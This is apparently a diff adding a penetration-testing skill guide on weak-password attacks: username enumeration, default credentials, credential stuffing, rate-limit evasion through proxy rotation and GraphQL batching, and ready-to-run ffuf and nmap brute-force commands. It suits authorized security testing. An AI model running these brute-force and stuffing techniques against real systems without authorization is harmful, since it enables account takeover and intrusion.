+ - Default or hardcoded credentials in applications and devices
15
+ - Self-registration flows with weak password policies
16
+ - Password reset flows that generate predictable tokens or passwords
17
+ - API key and token authentication with weak secrets
18
+
19
+ ## Reconnaissance
20
+
21
+ ### Identify Authentication Endpoints
22
+
23
+ - Standard login forms: `/login`, `/signin`, `/auth`, `/authenticate`, `/api/login`
24
+ - Admin panels: `/admin`, `/administrator`, `/manage`, `/console`, `/cpanel`
25
+ - API auth: `/api/v1/token`, `/oauth/token`, `/api/auth`, `/graphql` (login mutations)
26
+ - Service ports: SSH (22), FTP (21), Telnet (23), SMB (445), RDP (3389), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017)
27
+ - Mobile app login endpoints and deep-link auth handlers
28
+
29
+ ### Determine Authentication Mechanism
30
+
31
+ - Form-based (POST with username/password fields)
32
+ - Basic Authentication (Base64 `Authorization: Basic ...`)
33
+ - Bearer token / JWT (password grant flow)
34
+ - API key in header, query parameter, or body
35
+ - Multi-step authentication (username first, then password)
36
+ - CAPTCHA presence and type (reCAPTCHA, hCaptcha, image-based, math)
37
+ - Rate limiting indicators (429 responses, lockout messages, delays)
38
+
39
+ ### Enumerate Valid Usernames
40
+
41
+ - Error message differentiation: "Invalid username" vs "Invalid password"
42
+ - Registration page username availability checks
43
+ - Password reset flow: response timing or message leakage
44
+ - Public profiles, API responses, or metadata exposing usernames
45
+ - Common patterns: `admin`, `administrator`, `root`, `user`, `test`, `guest`, `support`, `service`, `api`, `dev`, `ops`
46
+ - Email format derivation from company domain patterns
47
+
48
+ ## Key Vulnerabilities
49
+
50
+ ### Weak Password Policies
51
+
52
+ - No minimum length or complexity requirements
53
+ - Allowing common passwords: `password`, `123456`, `qwerty`, `admin`, `letmein`
54
+ - Not checking against breached password databases (Have I Been Pwned)
55
+ - Case-insensitive password storage
56
+ - No password history enforcement
57
+ - Excessively short maximum length (indicates plaintext or weak hashing)
58
+
59
+ ### Default and Hardcoded Credentials
60
+
61
+ - Vendor defaults: `admin/admin`, `admin/password`, `root/root`, `guest/guest`
62
+ - Application frameworks: `django/admin`, `tomcat/tomcat`, `weblogic/weblogic`
63
+ - IoT devices, routers, cameras: manufacturer-specific defaults
64
+ - Database defaults: `postgres/postgres`, `sa/sa`, `root/(empty)`
65
+ - Cloud defaults: AWS instance metadata, Azure default service principals
66
+ - Hardcoded in source code, configuration files, or documentation
67
+
68
+ ### Credential Stuffing
69
+
70
+ - Users reuse passwords across services
71
+ - Breached credential lists (COMB, Collection #1-5, etc.) enable mass account takeover
72
+ - No multi-factor authentication allows direct access with valid credentials
73
+ - Missing breach detection or forced password rotation after known leaks
74
+
75
+ ### Predictable System-Generated Passwords
76
+
77
+ - Sequential or pattern-based: `Password1`, `Welcome2025!`, `CompanyName123`
78
+ - Time-based generation: passwords derived from registration timestamp
79
+ - Weak randomness: predictable PRNG seeds in password generators
80
+ - Reset tokens that double as temporary passwords with short expiration
81
+
82
+ ### Brute-Force Vulnerabilities
83
+
84
+ - No rate limiting on login attempts
85
+ - Absent or ineffective account lockout (client-side only, easily bypassed)
86
+ - IP-based blocking without session/user correlation (rotate IPs via proxy)
87
+ - CAPTCHA bypassable or only triggered after excessive attempts
88
+ - Parallel login attempts not tracked (race conditions on attempt counters)
89
+ - Verbose error messages revealing valid usernames
90
+
91
+ ## Advanced Techniques
92
+
93
+ ### Targeted Password Lists
94
+
95
+ - Generate custom wordlists from:
96
+ - Company name, product names, and domain components
97
+ - Geographic location, industry terms
98
+ - Season + year patterns: `Summer2025!`, `Winter2026@`
99
+ - Keyboard walks and leet speak variations
100
+ - Previously breached passwords for the target domain
101
+ - Scrape the target site to build a content-derived wordlist (e.g. a small custom Python crawler that harvests unique words)
102
+
103
+ ### Credential Stuffing Workflows
104
+
105
+ - Use breach databases filtered by target domain or related domains
106
+ - Test email:password pairs where email matches target domain
107
+ - Test username:password pairs with common username derivations
108
+ - Validate successful logins without triggering MFA by checking session endpoints
109
+
110
+ ### Multi-Step Authentication Bypass
111
+
112
+ - Username enumeration → password brute-force on second step
113
+ - Session fixation between steps: manipulate step identifiers
114
+ - Skip steps via direct URL access to later stages
115
+ - Response manipulation to bypass verification checks
116
+
117
+ ### API and Mobile-Specific
118
+
119
+ - GraphQL login mutations: batch brute-force via array inputs
120
+ - Mobile APIs often lack rate limiting compared to web frontends
121
+ - JWT password grant flows: brute-force against `/token` endpoint
122
+ - OAuth2 password grant: test `grant_type=password` with weak credentials
123
+
124
+ ### Service-Level Brute-Force
125
+
126
+ - HTTP login endpoints: `ffuf` or custom scripts (see Tooling)
127
+ - SSH/FTP/SMB/Telnet and other services: `nmap` NSE `*-brute` scripts, e.g. `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
128
+ - Databases (MySQL, PostgreSQL, MongoDB, Redis): weak/default credentials via the matching NSE brute script (`mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`) or a custom client script
129
+ - Any protocol lacking a ready script: custom Python
130
+
131
+ ## Tooling
132
+
133
+ ### ffuf (primary for web logins)
134
+
135
+ - Login brute-force with multiple users and passwords:
136
+ `ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
137
+ - JSON body / custom headers via `-H` and a JSON `-d` payload
138
+ - Filter by response size, status code, or regex to identify successes
139
+
140
+ ### nmap NSE (service brute-force)
141
+
142
+ - `*-brute` scripts cover many non-HTTP services:
143
+ `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
144
+ - Available scripts include `ssh-brute`, `ftp-brute`, `smb-brute`, `telnet-brute`, `mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`, `http-brute`, `http-form-brute`.
145
+
146
+ ### Custom Python Scripts
147
+
148
+ - Use `requests` with threading for high-speed API brute-force
149
+ - Implement jitter and proxy rotation to evade rate limiting
150
+ - Parse CSRF tokens dynamically between requests
151
+
152
+ ### Wordlists
153
+
154
+ No password wordlists ship in the sandbox by default — download what you need into `/home/pentester/tools/wordlists` at runtime:
155
+ - Common passwords (e.g. `rockyou.txt`) from its upstream source
156
+ - SecLists `Passwords/` and `Passwords/Default-Credentials/` (vendor defaults) from https://github.com/danielmiessler/SecLists
157
+ - Custom lists from target-specific scraping
158
+ - Breach compilation subsets filtered by target relevance
159
+
160
+ ## Validation
161
+
162
+ 1. Confirm successful login with captured credentials (session token, cookie, or JWT)
163
+ 2. Verify account access level: admin vs user privileges
164
+ 3. Check if MFA is enforced post-login or can be bypassed
165
+ 4. Test credential reuse across other endpoints or services
166
+ 5. Document password policy weaknesses that allowed the breach
167
+ 6. Verify if the same credentials work on staging, dev, or related domains
168
+
169
+ ## False Positives
170
+
171
+ - Honey accounts or honeypot responses designed to mislead attackers
172
+ - Temporary lockouts that resolve quickly (distinguish from permanent bans)
173
+ - Different error messages that don't actually indicate valid username enumeration
174
+ - CAPTCHA or WAF blocking that appears as a failed login
175
+ - Rate limiting that returns 429 instead of 401 (adjust timing)
176
+
177
+ ## Impact
178
+
179
+ - Complete account takeover for affected users
180
+ - Administrative access leading to full system compromise
181
+ - Lateral movement via reused credentials across services
182
+ - Data exfiltration, privilege escalation, and persistence
183
+ - Reputational damage and compliance violations (GDPR, PCI-DSS)
184
+
185
+ ## Pro Tips
186
+
187
+ 1. Always start with default credentials and vendor-specific lists before broad brute-force
188
+ 2. Enumerate usernames first; password brute-force without valid users is inefficient
189
+ 3. Use small, targeted wordlists before massive lists like rockyou.txt
190
+ 4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
191
+ 5. Test for password spraying (one password, many users) before targeted brute-force
192
+ 6. Check for concurrent session limits; successful logins may kick out legitimate users
193
+ 7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
194
+ 8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
195
+ 9. For web logins prefer `ffuf`; for other services use `nmap` NSE `*-brute` scripts or custom scripts with equivalent logic
196
+ 10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
197
+
198
+ ## Summary
199
+
200
+ Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.